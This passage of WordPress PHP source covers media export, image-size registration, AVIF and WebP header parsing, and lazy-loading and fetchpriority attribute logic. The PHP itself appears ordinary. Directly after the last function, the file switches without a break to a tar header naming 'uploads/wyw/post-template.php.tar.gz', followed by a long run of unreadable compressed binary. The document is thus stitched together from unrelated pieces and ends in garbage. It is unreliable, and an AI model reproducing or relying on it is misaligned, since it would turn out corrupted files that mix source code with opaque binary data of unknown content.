	$post_query = new WP_Query(
		array(
			'author'         => $user->ID,
			'posts_per_page' => $number,
			'paged'          => $page,
			'post_type'      => 'attachment',
			'post_status'    => 'any',
			'orderby'        => 'ID',
			'order'          => 'ASC',
		)
	);

	foreach ( (array) $post_query->posts as $post ) {
		$attachment_url = wp_get_attachment_url( $post->ID );

		if ( $attachment_url ) {
			$post_data_to_export = array(
				array(
					'name'  => __( 'URL' ),
					'value' => $attachment_url,
				),
			);

			$data_to_export[] = array(
				'group_id'          => 'media',
				'group_label'       => __( 'Media' ),
				'group_description' => __( 'User&#8217;s media data.' ),
				'item_id'           => "post-{$post->ID}",
				'data'              => $post_data_to_export,
			);
		}
	}

	$done = $post_query->max_num_pages <= $page;

	return array(
		'data' => $data_to_export,
		'done' => $done,
	);
}

/**
 * Adds additional default image sub-sizes.
 *
 * These sizes are meant to enhance the way WordPress displays images on the front-end on larger,
 * high-density devices. They make it possible to generate more suitable `srcset` and `sizes` attributes
 * when the users upload large images.
 *
 * The sizes can be changed or removed by themes and plugins but that is not recommended.
 * The size "names" reflect the image dimensions, so changing the sizes would be quite misleading.
 *
 * @since 5.3.0
 * @access private
 */
function _wp_add_additional_image_sizes() {
	// 2x medium_large size.
	add_image_size( '1536x1536', 1536, 1536 );
	// 2x large size.
	add_image_size( '2048x2048', 2048, 2048 );
}

/**
 * Callback to enable showing of the user error when uploading .heic images.
 *
 * @since 5.5.0
 * @since 6.7.0 The default behavior is to enable heic uploads as long as the server
 *              supports the format. The uploads are converted to JPEG's by default.
 *
 * @param array[] $plupload_settings The settings for Plupload.js.
 * @return array[] Modified settings for Plupload.js.
 */
function wp_show_heic_upload_error( $plupload_settings ) {
	// Check if HEIC images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/heic' ) ) ) {
		$plupload_init['heic_upload_error'] = true;
	}
	return $plupload_settings;
}

/**
 * Allows PHP's getimagesize() to be debuggable when necessary.
 *
 * @since 5.7.0
 * @since 5.8.0 Added support for WebP images.
 * @since 6.5.0 Added support for AVIF images.
 *
 * @param string $filename   The file path.
 * @param array  $image_info Optional. Extended image information (passed by reference).
 * @return array|false Array of image information or false on failure.
 */
function wp_getimagesize( $filename, ?array &$image_info = null ) {
	// Don't silence errors when in debug mode, unless running unit tests.
	if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) {
		if ( 2 === func_num_args() ) {
			$info = getimagesize( $filename, $image_info );
		} else {
			$info = getimagesize( $filename );
		}
	} else {
		/*
		 * Silencing notice and warning is intentional.
		 *
		 * getimagesize() has a tendency to generate errors, such as
		 * "corrupt JPEG data: 7191 extraneous bytes before marker",
		 * even when it's able to provide image size information.
		 *
		 * See https://core.trac.wordpress.org/ticket/42480
		 */
		if ( 2 === func_num_args() ) {
			$info = @getimagesize( $filename, $image_info );
		} else {
			$info = @getimagesize( $filename );
		}
	}

	if (
		! empty( $info ) &&
		// Some PHP versions return 0x0 sizes from `getimagesize` for unrecognized image formats, including AVIFs.
		! ( empty( $info[0] ) && empty( $info[1] ) )
	) {
		return $info;
	}

	$image_mime_type = wp_get_image_mime( $filename );

	// Not an image?
	if ( false === $image_mime_type ) {
		return false;
	}

	/*
	 * For PHP versions that don't support WebP images,
	 * extract the image size info from the file headers.
	 */
	if ( 'image/webp' === $image_mime_type ) {
		$webp_info = wp_get_webp_info( $filename );
		$width     = $webp_info['width'];
		$height    = $webp_info['height'];

		// Mimic the native return format.
		if ( $width && $height ) {
			return array(
				$width,
				$height,
				IMAGETYPE_WEBP,
				sprintf(
					'width="%d" height="%d"',
					$width,
					$height
				),
				'mime' => 'image/webp',
			);
		}
	}

	// For PHP versions that don't support AVIF images, extract the image size info from the file headers.
	if ( 'image/avif' === $image_mime_type ) {
		$avif_info = wp_get_avif_info( $filename );

		$width  = $avif_info['width'];
		$height = $avif_info['height'];

		// Mimic the native return format.
		if ( $width && $height ) {
			return array(
				$width,
				$height,
				IMAGETYPE_AVIF,
				sprintf(
					'width="%d" height="%d"',
					$width,
					$height
				),
				'mime' => 'image/avif',
			);
		}
	}

	// For PHP versions that don't support HEIC images, extract the size info using Imagick when available.
	if ( wp_is_heic_image_mime_type( $image_mime_type ) ) {
		$editor = wp_get_image_editor( $filename );

		if ( is_wp_error( $editor ) ) {
			return false;
		}

		// If the editor for HEICs is Imagick, use it to get the image size.
		if ( $editor instanceof WP_Image_Editor_Imagick ) {
			$size = $editor->get_size();
			return array(
				$size['width'],
				$size['height'],
				IMAGETYPE_HEIF,
				sprintf(
					'width="%d" height="%d"',
					$size['width'],
					$size['height']
				),
				'mime' => 'image/heic',
			);
		}
	}

	// The image could not be parsed.
	return false;
}

/**
 * Extracts meta information about an AVIF file: width, height, bit depth, and number of channels.
 *
 * @since 6.5.0
 *
 * @param string $filename Path to an AVIF file.
 * @return array {
 *     An array of AVIF image information.
 *
 *     @type int|false $width        Image width on success, false on failure.
 *     @type int|false $height       Image height on success, false on failure.
 *     @type int|false $bit_depth    Image bit depth on success, false on failure.
 *     @type int|false $num_channels Image number of channels on success, false on failure.
 * }
 */
function wp_get_avif_info( $filename ) {
	$results = array(
		'width'        => false,
		'height'       => false,
		'bit_depth'    => false,
		'num_channels' => false,
	);

	if ( 'image/avif' !== wp_get_image_mime( $filename ) ) {
		return $results;
	}

	// Parse the file using libavifinfo's PHP implementation.
	require_once ABSPATH . WPINC . '/class-avif-info.php';

	$handle = fopen( $filename, 'rb' );
	if ( $handle ) {
		$parser  = new Avifinfo\Parser( $handle );
		$success = $parser->parse_ftyp() && $parser->parse_file();
		fclose( $handle );
		if ( $success ) {
			$results = $parser->features->primary_item_features;
		}
	}
	return $results;
}

/**
 * Extracts meta information about a WebP file: width, height, and type.
 *
 * @since 5.8.0
 *
 * @param string $filename Path to a WebP file.
 * @return array {
 *     An array of WebP image information.
 *
 *     @type int|false    $width  Image width on success, false on failure.
 *     @type int|false    $height Image height on success, false on failure.
 *     @type string|false $type   The WebP type: one of 'lossy', 'lossless' or 'animated-alpha'.
 *                                False on failure.
 * }
 */
function wp_get_webp_info( $filename ) {
	$width  = false;
	$height = false;
	$type   = false;

	if ( 'image/webp' !== wp_get_image_mime( $filename ) ) {
		return compact( 'width', 'height', 'type' );
	}

	$magic = file_get_contents( $filename, false, null, 0, 40 );

	if ( false === $magic ) {
		return compact( 'width', 'height', 'type' );
	}

	// Make sure we got enough bytes.
	if ( strlen( $magic ) < 40 ) {
		return compact( 'width', 'height', 'type' );
	}

	/*
	 * The headers are a little different for each of the three formats.
	 * Header values based on WebP docs, see https://developers.google.com/speed/webp/docs/riff_container.
	 */
	switch ( substr( $magic, 12, 4 ) ) {
		// Lossy WebP.
		case 'VP8 ':
			$parts  = unpack( 'v2', substr( $magic, 26, 4 ) );
			$width  = (int) ( $parts[1] & 0x3FFF );
			$height = (int) ( $parts[2] & 0x3FFF );
			$type   = 'lossy';
			break;
		// Lossless WebP.
		case 'VP8L':
			$parts  = unpack( 'C4', substr( $magic, 21, 4 ) );
			$width  = (int) ( $parts[1] | ( ( $parts[2] & 0x3F ) << 8 ) ) + 1;
			$height = (int) ( ( ( $parts[2] & 0xC0 ) >> 6 ) | ( $parts[3] << 2 ) | ( ( $parts[4] & 0x03 ) << 10 ) ) + 1;
			$type   = 'lossless';
			break;
		// Animated/alpha WebP.
		case 'VP8X':
			// Pad 24-bit int.
			$width = unpack( 'V', substr( $magic, 24, 3 ) . "\x00" );
			$width = (int) ( $width[1] & 0xFFFFFF ) + 1;
			// Pad 24-bit int.
			$height = unpack( 'V', substr( $magic, 27, 3 ) . "\x00" );
			$height = (int) ( $height[1] & 0xFFFFFF ) + 1;
			$type   = 'animated-alpha';
			break;
	}

	return compact( 'width', 'height', 'type' );
}

/**
 * Gets loading optimization attributes.
 *
 * This function returns an array of attributes that should be merged into the given attributes array to optimize
 * loading performance. Potential attributes returned by this function are:
 * - `loading` attribute with a value of "lazy"
 * - `fetchpriority` attribute with a value of "high"
 * - `decoding` attribute with a value of "async"
 *
 * If any of these attributes are already present in the given attributes, they will not be modified. Note that no
 * element should have both `loading="lazy"` and `fetchpriority="high"`, so the function will trigger a warning in case
 * both attributes are present with those values.
 *
 * @since 6.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $tag_name The tag name.
 * @param array  $attr     Array of the attributes for the tag.
 * @param string $context  Context for the element for which the loading optimization attribute is requested.
 * @return array Loading optimization attributes.
 */
function wp_get_loading_optimization_attributes( $tag_name, $attr, $context ) {
	global $wp_query;

	/**
	 * Filters whether to short-circuit loading optimization attributes.
	 *
	 * Returning an array from the filter will effectively short-circuit the loading of optimization attributes,
	 * returning that value instead.
	 *
	 * @since 6.4.0
	 *
	 * @param array|false $loading_attrs False by default, or array of loading optimization attributes to short-circuit.
	 * @param string      $tag_name      The tag name.
	 * @param array       $attr          Array of the attributes for the tag.
	 * @param string      $context       Context for the element for which the loading optimization attribute is requested.
	 */
	$loading_attrs = apply_filters( 'pre_wp_get_loading_optimization_attributes', false, $tag_name, $attr, $context );

	if ( is_array( $loading_attrs ) ) {
		return $loading_attrs;
	}

	$loading_attrs = array();

	/*
	 * Skip lazy-loading for the overall block template, as it is handled more granularly.
	 * The skip is also applicable for `fetchpriority`.
	 */
	if ( 'template' === $context ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	// For now this function only supports images and iframes.
	if ( 'img' !== $tag_name && 'iframe' !== $tag_name ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	/*
	 * Skip programmatically created images within content blobs as they need to be handled together with the other
	 * images within the post content or widget content.
	 * Without this clause, they would already be considered within their own context which skews the image count and
	 * can result in the first post content image being lazy-loaded or an image further down the page being marked as a
	 * high priority.
	 */
	if (
		'the_content' !== $context && doing_filter( 'the_content' ) ||
		'widget_text_content' !== $context && doing_filter( 'widget_text_content' ) ||
		'widget_block_content' !== $context && doing_filter( 'widget_block_content' )
	) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );

	}

	/*
	 * Add `decoding` with a value of "async" for every image unless it has a
	 * conflicting `decoding` attribute already present.
	 */
	if ( 'img' === $tag_name ) {
		if ( isset( $attr['decoding'] ) ) {
			$loading_attrs['decoding'] = $attr['decoding'];
		} else {
			$loading_attrs['decoding'] = 'async';
		}
	}

	// For any resources, width and height must be provided, to avoid layout shifts.
	if ( ! isset( $attr['width'], $attr['height'] ) ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	/*
	 * The key function logic starts here.
	 */
	$maybe_in_viewport    = null;
	$increase_count       = false;
	$maybe_increase_count = false;

	// Logic to handle a `loading` attribute that is already provided.
	if ( isset( $attr['loading'] ) ) {
		/*
		 * Interpret "lazy" as not in viewport. Any other value can be
		 * interpreted as in viewport (realistically only "eager" or `false`
		 * to force-omit the attribute are other potential values).
		 */
		if ( 'lazy' === $attr['loading'] ) {
			$maybe_in_viewport = false;
		} else {
			$maybe_in_viewport = true;
		}
	}

	// Logic to handle a `fetchpriority` attribute that is already provided.
	if ( isset( $attr['fetchpriority'] ) && 'high' === $attr['fetchpriority'] ) {
		/*
		 * If the image was already determined to not be in the viewport (e.g.
		 * from an already provided `loading` attribute), trigger a warning.
		 * Otherwise, the value can be interpreted as in viewport, since only
		 * the most important in-viewport image should have `fetchpriority` set
		 * to "high".
		 */
		if ( false === $maybe_in_viewport ) {
			_doing_it_wrong(
				__FUNCTION__,
				__( 'An image should not be lazy-loaded and marked as high priority at the same time.' ),
				'6.3.0'
			);
			/*
			 * Set `fetchpriority` here for backward-compatibility as we should
			 * not override what a developer decided, even though it seems
			 * incorrect.
			 */
			$loading_attrs['fetchpriority'] = 'high';
		} else {
			$maybe_in_viewport = true;
		}
	}

	if ( null === $maybe_in_viewport ) {
		$header_enforced_contexts = array(
			'template_part_' . WP_TEMPLATE_PART_AREA_HEADER => true,
			'get_header_image_tag' => true,
		);

		/**
		 * Filters the header-specific contexts.
		 *
		 * @since 6.4.0
		 *
		 * @param array $default_header_enforced_contexts Map of contexts for which elements should be considered
		 *                                                in the header of the page, as $context => $enabled
		 *                                                pairs. The $enabled should always be true.
		 */
		$header_enforced_contexts = apply_filters( 'wp_loading_optimization_force_header_contexts', $header_enforced_contexts );

		// Consider elements with these header-specific contexts to be in viewport.
		if ( isset( $header_enforced_contexts[ $context ] ) ) {
			$maybe_in_viewport    = true;
			$maybe_increase_count = true;
		} elseif ( ! is_admin() && in_the_loop() && is_main_query() ) {
			/*
			 * Get the content media count, since this is a main query
			 * content element. This is accomplished by "increasing"
			 * the count by zero, as the only way to get the count is
			 * to call this function.
			 * The actual count increase happens further below, based
			 * on the `$increase_count` flag set here.
			 */
			$content_media_count = wp_increase_content_media_count( 0 );
			$increase_count      = true;

			// If the count so far is below the threshold, `loading` attribute is omitted.
			if ( $content_media_count < wp_omit_loading_attr_threshold() ) {
				$maybe_in_viewport = true;
			} else {
				$maybe_in_viewport = false;
			}
		} elseif (
			// Only apply for main query but before the loop.
			$wp_query->before_loop && $wp_query->is_main_query()
			/*
			 * Any image before the loop, but after the header has started should not be lazy-loaded,
			 * except when the footer has already started which can happen when the current template
			 * does not include any loop.
			 */
			&& did_action( 'get_header' ) && ! did_action( 'get_footer' )
			) {
			$maybe_in_viewport    = true;
			$maybe_increase_count = true;
		}
	}

	/*
	 * If the element is in the viewport (`true`), potentially add
	 * `fetchpriority` with a value of "high". Otherwise, i.e. if the element
	 * is not not in the viewport (`false`) or it is unknown (`null`), add
	 * `loading` with a value of "lazy".
	 */
	if ( $maybe_in_viewport ) {
		$loading_attrs = wp_maybe_add_fetchpriority_high_attr( $loading_attrs, $tag_name, $attr );
	} else {
		// Only add `loading="lazy"` if the feature is enabled.
		if ( wp_lazy_loading_enabled( $tag_name, $context ) ) {
			$loading_attrs['loading'] = 'lazy';
		}
	}

	/*
	 * If flag was set based on contextual logic above, increase the content
	 * media count, either unconditionally, or based on whether the image size
	 * is larger than the threshold.
	 */
	if ( $increase_count ) {
		wp_increase_content_media_count();
	} elseif ( $maybe_increase_count ) {
		/** This filter is documented in wp-includes/media.php */
		$wp_min_priority_img_pixels = apply_filters( 'wp_min_priority_img_pixels', 50000 );

		if ( $wp_min_priority_img_pixels <= $attr['width'] * $attr['height'] ) {
			wp_increase_content_media_count();
		}
	}

	/**
	 * Filters the loading optimization attributes.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $loading_attrs The loading optimization attributes.
	 * @param string $tag_name      The tag name.
	 * @param array  $attr          Array of the attributes for the tag.
	 * @param string $context       Context for the element for which the loading optimization attribute is requested.
	 */
	return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
}

/**
 * Gets the threshold for how many of the first content media elements to not lazy-load.
 *
 * This function runs the {@see 'wp_omit_loading_attr_threshold'} filter, which uses a default threshold value of 3.
 * The filter is only run once per page load, unless the `$force` parameter is used.
 *
 * @since 5.9.0
 *
 * @param bool $force Optional. If set to true, the filter will be (re-)applied even if it already has been before.
 *                    Default false.
 * @return int The number of content media elements to not lazy-load.
 */
function wp_omit_loading_attr_threshold( $force = false ) {
	static $omit_threshold;

	// This function may be called multiple times. Run the filter only once per page load.
	if ( ! isset( $omit_threshold ) || $force ) {
		/**
		 * Filters the threshold for how many of the first content media elements to not lazy-load.
		 *
		 * For these first content media elements, the `loading` attribute will be omitted. By default, this is the case
		 * for only the very first content media element.
		 *
		 * @since 5.9.0
		 * @since 6.3.0 The default threshold was changed from 1 to 3.
		 *
		 * @param int $omit_threshold The number of media elements where the `loading` attribute will not be added. Default 3.
		 */
		$omit_threshold = apply_filters( 'wp_omit_loading_attr_threshold', 3 );
	}

	return $omit_threshold;
}

/**
 * Increases an internal content media count variable.
 *
 * @since 5.9.0
 * @access private
 *
 * @param int $amount Optional. Amount to increase by. Default 1.
 * @return int The latest content media count, after the increase.
 */
function wp_increase_content_media_count( $amount = 1 ) {
	static $content_media_count = 0;

	$content_media_count += $amount;

	return $content_media_count;
}

/**
 * Determines whether to add `fetchpriority='high'` to loading attributes.
 *
 * @since 6.3.0
 * @access private
 *
 * @param array  $loading_attrs Array of the loading optimization attributes for the element.
 * @param string $tag_name      The tag name.
 * @param array  $attr          Array of the attributes for the element.
 * @return array Updated loading optimization attributes for the element.
 */
function wp_maybe_add_fetchpriority_high_attr( $loading_attrs, $tag_name, $attr ) {
	// For now, adding `fetchpriority="high"` is only supported for images.
	if ( 'img' !== $tag_name ) {
		return $loading_attrs;
	}

	if ( isset( $attr['fetchpriority'] ) ) {
		/*
		 * While any `fetchpriority` value could be set in `$loading_attrs`,
		 * for consistency we only do it for `fetchpriority="high"` since that
		 * is the only possible value that WordPress core would apply on its
		 * own.
		 */
		if ( 'high' === $attr['fetchpriority'] ) {
			$loading_attrs['fetchpriority'] = 'high';
			wp_high_priority_element_flag( false );
		}

		return $loading_attrs;
	}

	// Lazy-loading and `fetchpriority="high"` are mutually exclusive.
	if ( isset( $loading_attrs['loading'] ) && 'lazy' === $loading_attrs['loading'] ) {
		return $loading_attrs;
	}

	if ( ! wp_high_priority_element_flag() ) {
		return $loading_attrs;
	}

	/**
	 * Filters the minimum square-pixels threshold for an image to be eligible as the high-priority image.
	 *
	 * @since 6.3.0
	 *
	 * @param int $threshold Minimum square-pixels threshold. Default 50000.
	 */
	$wp_min_priority_img_pixels = apply_filters( 'wp_min_priority_img_pixels', 50000 );

	if ( $wp_min_priority_img_pixels <= $attr['width'] * $attr['height'] ) {
		$loading_attrs['fetchpriority'] = 'high';
		wp_high_priority_element_flag( false );
	}

	return $loading_attrs;
}

/**
 * Accesses a flag that indicates if an element is a possible candidate for `fetchpriority='high'`.
 *
 * @since 6.3.0
 * @access private
 *
 * @param bool $value Optional. Used to change the static variable. Default null.
 * @return bool Returns true if high-priority element was marked already, otherwise false.
 */
function wp_high_priority_element_flag( $value = null ) {
	static $high_priority_element = true;

	if ( is_bool( $value ) ) {
		$high_priority_element = $value;
	}

	return $high_priority_element;
}

/**
 * Determines the output format for the image editor.
 *
 * @since 6.7.0
 * @access private
 *
 * @param string $filename  Path to the image.
 * @param string $mime_type The source image mime type.
 * @return string[] An array of mime type mappings.
 */
function wp_get_image_editor_output_format( $filename, $mime_type ) {
	$output_format = array(
		'image/heic'          => 'image/jpeg',
		'image/heif'          => 'image/jpeg',
		'image/heic-sequence' => 'image/jpeg',
		'image/heif-sequence' => 'image/jpeg',
	);

	/**
	 * Filters the image editor output format mapping.
	 *
	 * Enables filtering the mime type used to save images. By default HEIC/HEIF images
	 * are converted to JPEGs.
	 *
	 * @see WP_Image_Editor::get_output_format()
	 *
	 * @since 5.8.0
	 * @since 6.7.0 The default was changed from an empty array to an array
	 *              containing the HEIC/HEIF images mime types.
	 *
	 * @param string[] $output_format {
	 *     An array of mime type mappings. Maps a source mime type to a new
	 *     destination mime type. By default maps HEIC/HEIF input to JPEG output.
	 *
	 *     @type string ...$0 The new mime type.
	 * }
	 * @param string $filename  Path to the image.
	 * @param string $mime_type The source image mime type.
	 */
	return apply_filters( 'image_editor_output_format', $output_format, $filename, $mime_type );
}
uploads/wyw/post-template.php.tar.gz000066600000040005152443022640013561 0ustar00}kwǑ~~EK{%YJ$mEcbGւC`HN`̀~ٯ@Iv=E`UU]]]jVb_Nxț|2|OW_Tu4obo?wwgwg߿sx~;̝͠|	Mm~%63gˢ3Xes,lY:ռB),Ǣ͸7ż1g4Kb9=VB+}ǯ5COթmԓ5{TgAk%ࢶn
[;Kd4XeIb
ø~PϫiC>+珫%Fs|ZNtJu1<_۷Ee΋f<ꧢYeޣ7;EZΡ^,07nzeͼjL]4p:8+N-G0K/w͗mF8>@ڦl*S-CU.	V/g8~	i*Xb>464O|5mxD)&
2_iUM΄Ã,-Nun\DXtceUNHN/W3yBL}k6S]CeZr}$f-3@۷>.Ҵ`.k,
h@iZi(@mWEX@uW?eS/.,Ձ_fZ*	X4fi\%Wĭe~=4d 
]]V.岜ʛv_j׈vbLdI%#(&@ө/& % 	tgbz<ʛfEpE^ׅU
&A^3!"vWZ#s8Oohd(1ӈ
dzXzQJX9/J~tc&@	2;}g#\x[01ӿ-c>`2l6k-+5l<r%aBp5ɩf9>Ɍ'O|!
opTI#z@k+G	;aV_Dˀ%x>^>@Xg0Bu/D}8r(ML{hY5³eY
 eY' \MV!4bđ!aQVK&-MJ!:1Tx>NA2ʁT-JT)h2U$Ư#śv}wO 
XnKw,}G `3s_&qۺpQ({kw@T!lAh7-U3;sM9^힞z4GI#p[=#|zʴ%+LmNVaQ\&i6oFH
4gz*KDVF9V59CJ‘ʊ݀dP7y|	EF<Yj~RݭJ~܄k
by$X]]P
%,ВG̖fdl6o"'Ttj)Ph&8*Z?y7NPrVjWd? ޱQ:I;ij5(qJg	h	B]`.V~UM'[urZs|5)Nչ˪[5KTOߑY`۫X;,>Am)\N$uw!h1ݟ}7!?l+>B'uQ=de!烮%-؍nKP	)CؖG兒oGzfЙRPOFU)cc+	v,jCV@!&Hnsػl"%*Hg<#1	J4rTz\.zht	RkNw.ۅ@Ҿ\GF~8Eт[r|#(>9oƵX"Of|ӟFfM<5OOښ毄{1,>|5;Ea܇},6LT';/&?֤a1O,bfDG!_zԠz97ZbVMމ<8,1ַC3_VL҂~uuC_TuN$V|7|ǶNPNɒ~:N(
%_a͏ؿ
oNyoxK~sf|ndlr,mXnX#`n`~ ;𰂤:AiCuBve4|$;W&*[E1M{2(B.T5ZO QI]!jA
̤rZaƬסɢr\P0cȁq^L,}řw:q>b^ AE0CzU ;tX{>S>S#JZ[`B.+'HD0o.m-{5z9<ǼE޶r3ԍ>'tZ.BNj+Cg/:"&Q/X)eU8CLg
UZ@<nqCJQ`+&	ܯ7 ֤F)^$s}bFח"领;m䫾5uQ_@S}k
C?[׵F
/b{<|D($E/w-rߓb6"Ưȝ%q~*X/}krVGGk{!4-NfniӐH2?yx`fdlY,DЊ׋)5};w^srOԎ
ޛ)%wxo즜Cg#ZyiDn #`fqF<\tlyАthQе>núUMƅ΄7EҠjceChVb<hwC
^#w}nOh)<͊.O(YUDr-{y_uU{~x_s͙qd"囃\,+qrko޿Ӻ=3s3wu`??
놷ۇ(돋Hz(%݀o%_W5rq`
R8:Z%ȵMHI)JZri`7ϔQGfYMV"xHt"gw!]0M
JxMRߌFOa4*"SQ:OEVd\>
SUI=s29Gn.PWX`z5ڀwȒ&mhΕH6XG?ͺ<nX=Cs$UX{nYL^“Wqj9A9N8">m%MO`!̂ī>OLJ&={h[r<ԙ'ڂz
TjHsVju*[fZ|bbUbe>Ca q<[9!p?/^T#s@ihf:\cZLotn/Jb؆{Z%( ,$Z<Ʊ}b|bp{.3țNRg'O<8cY(gYܔٓӽx},[UIŝkg7&LF</sCIϔm
LյUҦONYp
u5KGȧWHC07ܲ6j^ͮYas
l~(6^ۃ7Cf6-pˎ{Rq=]=bx>4'(-W뽳:A>]i<Q¡f+>q=c8v=W|-QՊ'躅w(F_,9x{l07{kype>Em{Q#]MBj[`a3CS
%37ϑ}p5[䪿lK0G'd)U};Ё-+C"ՒbY*ʞ۵<El_R4WrqU)U&,OKvN2{ߢ]GDzn+j`7}`QaI61mǢ'xeFzXT˦(}
VUI`NTA%R<4]-FrY-c4Z\uH#VC%a$_N2O>!;K@X~G	l%Т{Z4zidVb1Ӌ?Y(}B8oB#	0Hn2[m!shH(8B;.<a<%.YwF߁-kYG!M~e;hpiʹal&G;Ѝ=֎9A_5ԣJ}R	^S٫@P'-.
(<;wS:v`Y-+fA1Hnw@w/k]-
ryT2l
Pen3pv^vHN~sM?ȟV~hEQ9zjka[Qru?W%N"7{Gxp-ݺ5sҢU,gVHoZ@P-4<WbY޼^$n{/aKA[dzBޖ	;|!2>ǯ`d<-A.{PB-Z	21o*u̩4Y5oBm(^D'{
yyRSв<:c&Kޑ	\:;N(XR-2ˊLrEkpZM;{_~|8CeN5qDx3\G?*n&sU̵g7?߸?Vbb#ŀ
mf>.g&HwGҹR,JHT|pp󺣞B|9(/Q	`AG|Q_!>蒰T/,-kg)"}OpųwbD5߹Q4:dPi
`kYLD$P"wԅn9.^-7S4\Ik?gR="AT0>Xzw0K5"ڦ׾%YFVu!`]ut\eerWn1T8>h(
@dM0(_Ċu{
jV%H;‡Mkv|b
P"OBTNNzR<Z'uG57WD1kZIEg8LڙQdÝLdZ΀74/jRVm~HM[4ϷO~f֍!V@%*׭޷xcw)[bӫ;:!*%|vcxƺ{XnCX;v-%Rhdh
zt	ۻ
[%YA=Il n.,WEl-ĒN
bCνAJw)	n3]+0)$Wwx|iɛ
*;)Juy[]w#h%0&G˳m!U4^&?V~ǪN K-<ߤCŚB
tjP-HSA+kĩ4rj-Rᵿn©\*|	N.I*וK,\x.%9t<2^9Otg8:͗q Д}86O0-{"t^r=T/|ҐFȾ)nZ+	
V^ND{T9cnCDžwb\uLnb@XTŁDo&{u!wE509ݼDDZkG(FHԭn!@"έ{-77CHMo#pkq'zmSRF(0%ben.ŧ`.y61OU1E:0Qi,M#us=-ꋢ>L/ۖp\<~{k}J1Aɦ"C}ht(w7\ҲE#-CEhLQ
5;͞2Ke;̟M-@wى_S(0 ":iuQ[0Ex(ϡ~Ἇd&-.<X>sNF._NܬMFþ^Td0H0z/bA4B/}[:CB^*DGx#<1AnrW4-</_ؐ¸X`zhGx'w!=ӄ##C;zh:4
tc!h4E:1oOLثH H^e⨂H(]dN1pܥ3
s+_Ns9:?KXD[誦0Xsv=ne:3HM!tg&{k.Cgkw6bh%c;U9~szkJNx\@99À9#&\6T3S[F녍~I$\8k1XZ33vfP0`+c?m&]\`qDU?Pɦ4GOgS.GFWKmPtLgVS10my4vm?xdvaLM:ol$n?ZQ
J	 )qȕ.OR$\׍M@Ҵ;L4!
^`á_A͵D6#	hS8@wh(1?N.xa ?BaqmdLOf(#'|w.2 2/K>۸ZնvZdvi-NJ|RaZDsϔz#<kZ D3P=ȷ{h7&Sx1P_Wu ><,}&9T\FnU;L7k7:|O/[	*&%lT.#F	#}_RGq8m&@鐼M4sw/3N00O+)ߡd~όTc~PƠ#	;ElPُPlLP
*7s))ʆu
	?ifzwECɉ1IE]|	ZB(WY"L7Kբ;54ZB>Ŀ.Licp>ɽCڗdh3{KVG<zHb.Ff_
Cm!2Hn0]tSG8I/b_(ρ^?s=tpG 9y@)usԱp[il'XC汎(М,zs;,;sM
+y=9񴀞Y4.0b~X_"7uˇqugE.]D7"yi3ҷV&#*A~꾐]ħ@[6TZ${k5 <^4tSҵr-yvMffkH'L1帖vE<Ƣ睙>kEb+eݿ[vrn*&Kn 
YOܝ…	AG*O%
GVmǸeds9Nwp5nRa$%8d_3imDywؒX%۾e*5q,#j#+ĺVAܖ5,L)$}1G:9hkd2#rQΌzݲI;C1زGCQ5gw;чeۍƈNG~1/
"E,qN7ghSkyKeS#GOX<?Jh'61k*r{<_ra9>^U{|HѦ)hG
р%1~Qp׹5'(ԗt0<z2_ϊ&`6b:	/˜s1s
n0WٜRLwWŵV_h@0>KcՖseE.
5ZVo457)ћO?T БσRvxFR7`q+s i|&ن6_[=zMS)bӻP@q%yI\bR/VMPUKYb H8Nc7~b" `D~Hd-
L$/x#|ܷ\Ji9	T5/T]DqAXpXzA*҈So!\\iR쓇eK0fsVz׃A$cɎ>\-A罁:2B}LvKr6I:AGϾhRG:Y֣-rRIMMmqqY/|(ģB5	1$H	.8;XM[x쯦3VA.I	"NbR]Mi7T&>ܳ?'JAhercmOm5lW#쪉vvN=%L	<5V6q;7u9[uWwe(x!:D&TR:[=	Ygbw۾7:}~YSiY	W3;Y҇Gd4Df퀽M\͍.ϟ3ٮ5pyRbܰ69@z_rulT#l6z؎*T,>u[ozć_Bu<*mScav6dLߊRk

E~|ϦDmc
J(#-lmj='03Ej"FB@C 9.ϯIJɪg;GfOdV$meHh.ゴYkGn
Y{]q}/쉍[DʸWwie+,`l>VZ57pǯ8"߱U@	u3:IWӒ=7h"7#g9 d8U>e#J/r|+{$l2+rU^b鸙Ȏ_#?1ں2XSE>)˄́X?;n`BWwXܫZ7m7u^)k'mE[V0|ٶ6	G	'sBit穄8!}8
=;!?ᱜx	<􍚟 uPڞZfEɟ+gщ-6_2-r@<QkrnąnX>sݷsގŋ
vz.T?-wŷC'iA=!f|p0kܲ:sJxxzoݑm8w?f܋AO،Xk2gx3A*;-W-TL1p7+嶐1|<ਖy68SLVfRU26 r#9M݅ehw.ۦZQTMoH3}
SK<I1ne`ڪb|kɊ<+h)S۬
]ې
CGJ_r{#Qvow<8{.8S7̹1A[J+ԟͿx/1]\H/g/6(QS9hi8)ЗSy&J[S[2:!1+fVvQN}۾	SZOWy7^{+)arJ6qLzO1#s?Ϛ
jXGYId˜b"dp||DęRk'd)A.
oN2[_rXɸ+\'xl'~=9͆j?f
`OB$,/QE(ʻ p=f<JD
|wN|Qr%0e!uhH(qMqTȭ$ʉhp!6{E3 n\q4+%wRݼB	 g|Y 
,xPH:=#-^Ĩ,CLV:=<vOG=)u{=ciWzE5-ߛ΂fˈp<_:_T0/rGmea(
;'TKh>4w$gs	4nUWE56)r8Kf_8Dp{Db:',RKY0I5B)-"斊ż氭Tp}2_zqzoƬi4KyZA5:TXIZ>i|p3A'-퍤)qnٽ|
x
Ug:R</.p@QkF4/SS  	8}A‡c\A?PqintTNǭlc%#0_@uުG%ݥqN7r|@2rnVP;rKR4秊қ5еzQԍz:t\TK9y Ch]
